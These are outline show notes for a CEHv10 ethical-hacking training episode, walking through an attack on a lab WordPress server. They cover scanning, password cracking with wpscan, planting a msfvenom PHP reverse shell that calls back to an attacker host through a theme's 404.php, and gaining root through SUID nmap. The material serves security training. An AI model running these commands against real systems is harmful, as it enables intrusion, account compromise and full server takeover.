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  - Show Name: CEHv10 (312-50)
  - Topic Name: Hacking Web Applications
  - Episode Name: Practical Web App Hacking Pt.2
  - Description: In this episode, Daniel and Zach explain Web Application hacking methodology through practical example. Here they stand-up a simulated Web App environment where they will take you from Footprinting the target server all the way to gaining root privileges and every step in between.
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## Practical Web App Hacking Pt.2

- Web App Hacking Methodology
  - Discovery
    - Host
      - netdiscover
      - nmap
  - Enumeration
    - Check for WAF
      - wafw00f http://10.0.0.176
    - Services
      - nmap -A -T4 -n -p- 10.0.0.176
      - nikto -h http://10.0.0.176
        - See WordPress info
      - dirb http://10.0.0.176
        - robots.txt
      - wpscan --url http://10.0.0.176 --enumerate u
        - Doesn't enumerate any user accounts
    - User account
      - Use ZAP! to enumerate the WordPress username
      - Use wpscan to crack password
        - wpscan --url http://10.0.0.176 --wordlist fsociety.dic --username elliot
      - Use creds to login to Wordpress site
  - Attacking
    - Check user account status
    - Look for ways to upload web shell
    - Use Theme > Editor > 404.php page
    - Use *Metasploit/Msfvenom* to create a php reverse\_tcp shell
      - msfvenom -p php/meterpreter/reverse\_tcp lhost=10.0.0.212 lport=4444 -f raw
      - Copy output
      - Paste into 404.php and save
      - Open *Metasploit*
        - > use multi/handler
        - > set payload php/meterpreter/reverse\_tcp
        - > set lhost 10.0.0.212
        - > set lport 4444
        - > run

- Browse to `http://10.0.0.176/blah`
  - Check for connection in *Metasploit*
  - meterpreter > `sysinfo`
  - meterpreter > `shell`
  - Upgrade shell
    - `python -c 'import pty; pty.spawn("/bin/bash")'`
- Priv Esc
  - Check for SUID/GUID binaries
    - `find / -perm -u=s -type f 2>/dev/null`
    - Look over programs
    - See *nmap* there
    - Check the version
    - Launch interactive mode
      - `/usr/local/bin/nmap --interactive`
      - `nmap> !/bin/bash`
        - Still a user shell :(
        - Try other shells
        - `nmap> !/bin/sh`
        - ROOT!!!! :)